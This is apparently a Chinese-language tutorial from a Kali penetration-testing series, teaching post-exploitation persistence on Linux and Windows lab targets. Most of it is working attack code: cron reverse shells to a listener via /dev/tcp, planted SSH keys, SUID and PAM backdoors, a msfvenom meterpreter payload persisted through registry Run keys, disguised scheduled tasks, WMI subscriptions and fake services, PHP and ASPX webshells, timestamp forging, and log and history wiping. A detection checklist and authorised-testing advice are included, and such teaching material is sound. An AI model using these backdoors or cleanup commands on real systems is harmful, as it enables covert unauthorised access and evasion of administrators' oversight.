📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux → 网络 → 密码学 → 编程 → Docker
模块 1 信息收集 ✅ 已完成 | 模块 2 Web渗透 ✅ 已完成
19-31 扫描 → 漏洞 → sqlmap → XSS → WAF绕过
模块 3 代码审计 ✅ 已完成
32-37 审计入门 → Node.js → PHP → Java → Python → CVE复现
模块 4 漏洞利用与后渗透(进行中)
38 Metasploit 入门 ✓ | 39 Payload 生成 ✓ | 40 Linux 提权 ✓ | 41 Windows 提权 ✓
42 权限维持与后门技术(当前篇)
43 免杀技术基础
权限维持与后门技术
网络安全 Kali 学习系列 · 第 42 篇 · 模块 4 漏洞利用与后渗透
读完本篇你将能:在 Linux 和 Windows 靶机上部署至少六种权限维持方法(crontab、SSH 公钥、注册表自启、服务后门、WMI 事件订阅、Webshell),理解每种方法的隐蔽性和检测方式,完成从"拿到 shell"到"长期控制"的闭环,并掌握痕迹清理的基本流程。
前两篇解决了"怎么提权"的问题——拿到 root 或 SYSTEM 只是第一步。真正的渗透测试中,目标系统可能重启、进程可能退出、漏洞补丁可能打上。权限维持解决的是"怎么留下来"——让你的访问能力在系统重启后依然有效。本篇覆盖 ATT&CK 框架 T1546(事件触发执行)、T1136(创建账户)、T1053(计划任务)等持久化技术,从 Linux 和 Windows 两个维度展开。
目录
第一章 权限维持概述:从一次访问到长期控制
第二章 Linux 权限维持:crontab 与 SSH 公钥
第三章 Linux 隐藏后门:SUID Shell 与 PAM 后门
第四章 Windows 权限维持:注册表与计划任务
第五章 Windows 隐藏后门:WMI 事件订阅与服务后门
第六章 痕迹清理与防御检测
第七章 分级练习
第一章 权限维持概述:从一次访问到长期控制
想象你租了一间公寓,房东每周换一次门锁。如果每次去都要撬锁,成本太高;但如果你偷偷配了一把备用钥匙藏在消防栓后面,无论锁怎么换,你都能进去。权限维持就是"配备用钥匙"的过程——在目标系统上预埋多个独立入口,任何一个被发现封堵,其他入口仍然可用。
ATT&CK 框架把权限维持归类为 Tactics TA0003,下属数十种 Techniques。本篇聚焦实战中最常用的六种,按操作系统分组:
| 操作系统 |
维持方法 |
触发机制 |
隐蔽性 |
| Linux |
crontab 定时反弹 |
cron 守护进程 |
中(crontab -l 可见) |
| Linux |
SSH 公钥植入 |
SSH 服务 |
中(authorized_keys 可查) |
| Linux |
SUID Shell |
文件执行 |
低(find 可扫到) |
| Windows |
注册表自启 |
用户登录 |
中(Autoruns 可查) |
| Windows |
服务后门 |
服务管理器 |
中(services.msc 可查) |
| Windows |
WMI 事件订阅 |
WMI 基础设施 |
高(需专业工具检测) |
选择维持方法的核心原则是纵深部署——不要只放一把钥匙,在 crontab、SSH、服务三个层面各埋一个后门。当管理员清理了 crontab 但忘了检查 authorized_keys,你的访问依然有效。
第二章 Linux 权限维持:crontab 与 SSH 公钥
你已经能在 Linux 上提权了(第 40 篇),现在把临时权限变成持久访问。Linux 权限维持主要利用两个机制:cron 守护进程和 SSH 密钥认证。前者定时执行反弹命令,后者植入免密登录凭据。
2.1 crontab 定时反弹 Shell
最直接的维持方法:让目标每隔 N 分钟主动连回你的监听器。即使当前 shell 断开,cron 会自动触发下一次连接。
Shell · crontab 反弹
persistence.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 在 root 的 crontab 中添加定时反弹任务
crontab -e
# 每 30 分钟反弹一次(注意:URL 为攻击者 IP)
*/30 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'
# 更隐蔽的写法:通过隐藏脚本间接执行
echo '#!/bin/bash' > /usr/local/share/.hidden
echo 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1' >> /usr/local/share/.hidden
chmod +x /usr/local/share/.hidden
*/30 * * * * /usr/local/share/.hidden
# 攻击者端监听
nc -lvnp 4444
|
第二种写法更隐蔽——crontab 中只看到一个普通脚本路径,真正的反弹命令藏在隐藏文件中。但两种写法都能被 crontab -l 列出,因此 crontab 的隐蔽性评级为"中"。
💡 小贴士
crontab 反弹的间隔不要太短。每 30 分钟一次足以保持访问,过高的频率(如每分钟)会产生大量日志,反而引起注意。检查 cron 日志:grep CRON /var/log/syslog。
2.2 SSH 公钥植入
SSH 公钥植入比 cron 反弹更稳定——不需要目标主动连接你,而是你随时可以 SSH 登录目标。前提是目标运行了 SSH 服务(绝大多数 Linux 服务器都开了 22 端口)。
Shell · SSH 公钥植入
ssh_persist.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 1. 攻击者端生成密钥对(不带密码短语)
ssh-keygen -t ed25519 -f ~/.ssh/backdoor -N ""
# 2. 在目标机上植入公钥(通过已获得的 shell)
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# 3. 攻击者端免密登录
ssh -i ~/.ssh/backdoor root@192.168.56.102
# 4. 确认登录成功
whoami # root
hostname # metasploitable
|
公钥植入的隐蔽性取决于 authorized_keys 的体积。如果目标 root 用户原本没有 authorized_keys 文件,新增一行很容易被发现。更隐蔽的做法是把公钥植入到普通用户目录下,通过低权限用户跳转到 root。
⚠️ 常见错误
echo "ssh-rsa AAAA..." > /root/.ssh/authorized_keys — 使用 > 而非 >> 会覆盖原有公钥,导致管理员无法登录,立刻暴露入侵
✓ 正确:使用 >> 追加,不破坏原有内容
2.3 软连接后门
一种老式但有效的后门:利用 PAM 认证机制,创建一个指向 /usr/sbin/sshd 的软连接,通过特定端口免密登录。
Shell · 软连接后门
softlink.sh
|
1
2
3
4
5
6
7
8
9
|
# 创建软连接(需要 root 权限)
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=12345
# 攻击者端连接(任意密码均可通过认证)
ssh root@192.168.56.102 -p 12345
# 原理:PAM 模块以软连接名 "su" 匹配 /etc/pam.d/su
# pam_rootok.so 允许 root 免密认证
# 注意:重启后软连接失效,需配合 crontab 重建
|
软连接后门的致命弱点是进程列表中会暴露异常端口——netstat -tlnp 可以看到 /tmp/su 监听在 12345 端口。现代系统中该利用方式可能被 PAM 配置限制,但理解原理有助于后续 PAM 后门的学习。
第三章 Linux 隐藏后门:SUID Shell 与 PAM 后门
第二章的方法虽然实用,但痕迹明显——crontab、authorized_keys 都有对应命令可查。本章介绍更隐蔽的维持技术,它们利用系统底层的认证或权限机制,常规巡检难以发现。
3.1 SUID Shell 植入
第 40 篇讲过 SUID 提权——找到已有的 SUID 程序利用。这里反过来:自己创建一个 SUID shell,以后随时用它获取 root 权限。
Shell · SUID Shell 植入
suid_shell.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
|
# 1. 复制 bash 并设置 SUID(需要 root 权限)
cp /bin/bash /usr/local/share/.sb
chmod 4755 /usr/local/share/.sb
# 2. 普通用户执行后获得 root shell
/usr/local/share/.sb -p
whoami # root
# 3. 检测方法(管理员视角)
find / -perm -4000 -type f 2>/dev/null
# 输出中 /usr/local/share/.sb 会立刻暴露
# -p 参数保留 SUID 权限,不加会降级到普通用户
|
SUID Shell 的隐蔽性评级为"低",因为 find / -perm -4000 一条命令就能扫出所有 SUID 文件。但它的价值在于快速恢复——即使 crontab 和 SSH 后门都被清理,只要 SUID shell 还在,一个命令就能重新拿到 root。
3.2 PAM 后门概念
PAM(Pluggable Authentication Modules)是 Linux 的统一认证框架。如果替换或修改 PAM 模块(如 pam_unix.so),可以在系统认证链中插入硬编码密码——任何用户输入这个密码都能通过认证,包括 su、sudo、SSH 登录。
Shell · PAM 后门原理
pam_backdoor.sh
|
1
2
3
4
5
6
7
8
9
10
11
|
# 备份原始 PAM 模块
cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
# 获取源码并修改认证逻辑(概念演示)
apt source pam # 获取 PAM 源码
# 在 pam_unix_auth.c 的认证函数中插入:
# if (strcmp(p, "backdoor123") == 0) return PAM_SUCCESS;
make && cp pam_unix.so /lib/x86_64-linux-gnu/security/
# 之后任何用户用密码 "backdoor123" 即可通过认证
|
💡 小贴士
PAM 后门是 Linux 上最隐蔽的维持方式之一——它不创建新文件、不修改 crontab、不新增用户,只是在认证库中插入了一个条件判断。检测方式:对比 pam_unix.so 的 MD5 值与官方包的哈希是否一致:md5sum /lib/x86_64-linux-gnu/security/pam_unix.so,然后用 dpkg -V libpam-modules 检查包完整性。
第四章 Windows 权限维持:注册表与计划任务
Linux 的维持手段依托 cron 和 SSH,Windows 则有更丰富的持久化机制——注册表自启项、服务管理器、计划任务、WMI 事件。这些机制本为合法用途设计,但同样可被利用。你已经在第 41 篇中了解了 Windows 权限体系,现在用它来"固化"访问权限。
4.1 注册表自启项
Windows 注册表中有多个自启位置,最常见的两个是 Run 键(用户登录时执行)和 RunOnce 键(下次登录执行一次后删除)。
PowerShell · 注册表自启
reg_persist.ps1
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 1. 生成反弹 payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 -f exe -o C:\Temp\update.exe
# 2. 写入当前用户注册表自启(不需要管理员权限)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
/v WindowsUpdate /t REG_SZ /d "C:\Temp\update.exe" /f
# 3. 写入系统级自启(需要 SYSTEM 权限)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/v SvchostHelper /t REG_SZ /d "C:\Temp\update.exe" /f
# 4. 验证写入
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
# 每次用户登录都会自动执行 update.exe
|
HKCU(HKEY_CURRENT_USER)的 Run 键不需要管理员权限——即使是低权限用户也能植入。但缺点是只有该用户登录时才触发。HKLM 的 Run 键在系统启动时执行,但需要 SYSTEM 权限写入。
💡 小贴士
Windows 注册表有超过 50 个自启位置。Sysinternals 的 Autoruns 工具可以一键扫描所有自启项,是检测注册表后门的标准工具。作为防御方,定期运行 autorunsc -a * 并对比基线,是发现异常的有效方法。
4.2 计划任务后门
Windows 计划任务(Scheduled Tasks)相当于 Linux 的 crontab,但功能更强大——可以设置触发器(登录时、启动时、空闲时、特定事件发生时)。
CMD · 计划任务后门
schtask.bat
|
1
2
3
4
5
6
7
8
9
10
11
12
|
# 创建登录时触发的计划任务(以 SYSTEM 权限运行)
schtasks /create /tn "WindowsDefenderUpdate" \
/tr "C:\Temp\update.exe" \
/sc onlogon /ru SYSTEM /f
# 创建定时触发的计划任务(每 30 分钟)
schtasks /create /tn "TelemetrySync" \
/tr "C:\Temp\update.exe" \
/sc minute /mo 30 /ru SYSTEM /f
# 查看已创建的任务
schtasks /query /tn "TelemetrySync" /v
|
任务名伪装成系统组件名称(如 WindowsDefenderUpdate、TelemetrySync)可以降低管理员的警觉性。但 schtasks /query 可以列出所有任务,隐蔽性有限。
第五章 Windows 隐藏后门:WMI 事件订阅与服务后门
注册表和计划任务虽然好用,但 Autoruns 和 schtasks 一查就现。WMI 事件订阅是 Windows 上更隐蔽的持久化手段,它利用 WMI 基础设施的永久订阅机制,只有专门的 WMI 检测工具才能发现。
5.1 WMI 永久事件订阅
WMI 事件订阅由三个部分组成:事件过滤器(定义什么事件触发)、事件消费者(定义触发后执行什么)、过滤器到消费者的绑定(关联两者)。三个组件都是 WMI 命名空间中的永久对象,重启后依然有效。
PowerShell · WMI 事件订阅
wmi_persist.ps1
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
# 1. 创建事件过滤器(启动后 60 秒触发)
$filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "WindowsUpdateFilter";
EventNameSpace = "root\cimv2";
QueryLanguage = "WQL";
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 10"
}
# 2. 创建事件消费者(执行 payload)
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{
Name = "WindowsUpdateConsumer";
CommandLineTemplate = "C:\Temp\update.exe";
}
# 3. 绑定过滤器与消费者
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter;
Consumer = $consumer;
}
# 检测方法:查询 WMI 中的事件订阅
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
|
WMI 事件订阅的隐蔽性评级为"高"。常规的 Autoruns 虽然能看到 WMI 绑定,但很多管理员不会检查 WMI 命名空间。只有 Kansa 或 WMI 持久化检测脚本才能有效发现。
5.2 服务后门
创建一个伪装成系统服务的后门,设置为自动启动。比注册表自启更隐蔽,因为服务列表很长,伪装良好的服务不容易被注意到。
CMD · 服务后门创建
svc_backdoor.bat
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 创建伪装服务(名称模仿系统组件)
sc create "NetTcpPortSharing" binpath= "C:\Temp\update.exe" \
start= auto obj= "LocalSystem"
# 设置服务描述(伪装为系统服务)
sc description "NetTcpPortSharing" \
"Provides queuing service for net.tcp activation."
# 启动服务
sc start "NetTcpPortSharing"
# 检测:sc query 列出所有服务
sc query type= service state= all | findstr "SERVICE_NAME"
|
5.3 Webshell 持久化
如果目标运行了 Web 服务(IIS/Apache/Nginx),在 Web 根目录植入 Webshell 是最稳定的维持方式之一——只要 Web 服务运行,后门就在。
Shell · Webshell 植入
webshell.sh
|
1
2
3
4
5
6
7
8
9
10
11
|
# Linux Apache Webshell 植入
echo '<?php @eval($_POST["cmd"]); ?>' > /var/www/html/.config.php
# 访问测试(用蚁剑或 curl)
curl -d "cmd=phpinfo();" http://192.168.56.102/.config.php
# Windows IIS Webshell(ASPX)
echo '<%response.write(Request("cmd"))%>' > C:\inetpub\wwwroot\web.config.aspx
# 文件名伪装策略:.config / .bak / 修改时间戳
touch -r /var/www/html/index.html /var/www/html/.config.php
|
最后一条命令用 touch -r 把 Webshell 的修改时间设为与正常页面相同,增加隐蔽性。文件名以 . 开头在 Linux 上隐藏,在 Web 请求中需要完整路径访问。
第六章 痕迹清理与防御检测
权限维持和痕迹清理是硬币的两面。在授权测试中,测试报告需要说明维持方法和清除方式;在防御侧,了解攻击者的维持手段才能设计有效的检测策略。
6.1 Linux 痕迹清理
Shell · 痕迹清理
cleanup.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# 1. 清除命令历史
history -c && history -w
echo > ~/.bash_history
unset HISTFILE; export HISTFILE=/dev/null
# 2. 清除登录记录
echo > /var/log/wtmp # 清除登录成功记录
echo > /var/log/btmp # 清除登录失败记录
echo > /var/log/lastlog # 清除最后登录记录
# 3. 清除系统日志(谨慎操作)
echo > /var/log/syslog
echo > /var/log/auth.log
# 注意:清空整个日志文件是最笨的方法
# 更好的做法是用 sed 精确删除特定时间段的记录
|
💡 小贴士
清空整个日志文件是最明显的入侵痕迹——正常系统不会突然出现空日志。更专业的做法是用 sed -i '/IP地址/d' /var/log/auth.log 只删除包含特定 IP 的行。但在实际渗透测试中,痕迹清理应在测试报告中如实记录,便于客户复盘。
6.2 Windows 痕迹清理
PowerShell · Windows 清理
win_cleanup.ps1
|
1
2
3
4
5
6
7
8
9
10
|
# 清除事件日志
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# 清除 PowerShell 历史
Remove-Item (Get-PSReadLineOption).HistorySavePath
# 清除 RDP 连接记录
reg delete "HKCU\Software\Microsoft\Terminal Server Client" /f
|
6.3 防御检测清单
作为防御方,以下检查项目应纳入日常巡检:
| 检查项 |
Linux 命令 |
Windows 命令 |
| 定时任务 |
crontab -l -u root |
schtasks /query |
| SSH 公钥 |
cat ~/.ssh/authorized_keys |
不适用 |
| SUID 文件 |
find / -perm -4000 -type f |
不适用 |
| 注册表自启 |
不适用 |
Autoruns / reg query |
| WMI 订阅 |
不适用 |
Get-WMIObject -Namespace root\Subscription |
| PAM 完整性 |
dpkg -V libpam-modules |
不适用 |
| 异常服务 |
systemctl list-unit-files |
sc query type= service state= all |
第七章 分级练习
🟢 基础验证
任务:在 Metasploitable 2(或任意 Linux 靶机)上,使用 root 权限完成以下操作:(1) 植入一个 crontab 反弹任务,间隔 5 分钟连接你的 Kali 监听器;(2) 植入 SSH 公钥实现免密登录;(3) 创建一个 SUID shell。完成后用对应的检测命令验证每种后门是否存在。
参考解法:crontab 写入 */5 * * * * bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1';SSH 公钥写入 /root/.ssh/authorized_keys;SUID shell 用 cp /bin/bash /tmp/.sb && chmod 4755 /tmp/.sb。验证:crontab -l、cat /root/.ssh/authorized_keys、find / -perm -4000 -type f。
🟡 组合应用
任务:在一台 Windows 靶机(Windows 10 或 Server 2019)上,以 SYSTEM 权限部署三层权限维持:(1) 注册表 Run 键;(2) 计划任务(每 30 分钟触发);(3) WMI 事件订阅(系统启动后触发)。然后以管理员视角运行 Autoruns 和 WMI 查询,确认三个后门都能被检测到,记录每个后门出现在 Autoruns 的哪个标签页。
提示:注册表 Run 键出现在 Autoruns 的 Logon 标签页;计划任务出现在 Scheduled Tasks 标签页;WMI 订阅出现在 WMI 标签页。这个练习帮助你理解不同维持方法的检测覆盖面。
🔴 开放挑战
任务:设计一个完整的渗透后维持与清除方案文档。假设你在授权渗透测试中获得了 Linux 服务器的 root 权限和 Windows 域成员机的 SYSTEM 权限。要求:(1) 在每台机器上部署至少三种维持方法,说明选择理由;(2) 编写痕迹清理脚本(精确删除特定 IP 的日志,不是清空整个文件);(3) 为客户提供清除指南,包括每种植入后门的检测和清除命令。方案需符合 ATT&CK 框架的分类标准。
参考方向:参考 ATT&CK T1546(事件触发执行)的子技术列表,理解不同维持方法的触发条件和隐蔽性差异。清除指南应包含检测命令 + 清除命令 + 验证命令三步。
💡 小贴士
在真实渗透测试中,权限维持方法必须在授权范围内明确约定。部分客户要求测试结束后自动清除所有后门,部分要求保留用于验证。痕迹清理脚本应经过测试验证,确保不会误删系统关键日志导致服务异常。
知识回顾
crontab 持久化
SSH 公钥植入
SUID Shell
软连接后门
PAM 后门
注册表自启
计划任务
WMI 事件订阅
服务后门
Webshell 持久化
痕迹清理
ATT&CK TA0003
下一篇预告
本篇完成了从"提权"到"维持"的闭环——六种后门方法覆盖了 Linux 和 Windows 的主要持久化路径。下一篇将进入模块 4 的最后一个主题:免杀技术基础。msfvenom 生成的 payload 默认会被多数杀毒软件识别,如何用编码器组合、shellcode 混淆和分段加载绕过静态检测?为什么单纯的编码迭代效果有限,现代免杀需要哪些技术栈?这些问题将在下一篇解答。
关注本公众号,持续获取网络安全 Kali 学习系列更新。如果觉得有帮助,欢迎点赞、在看、分享给同样在学习网络安全的朋友。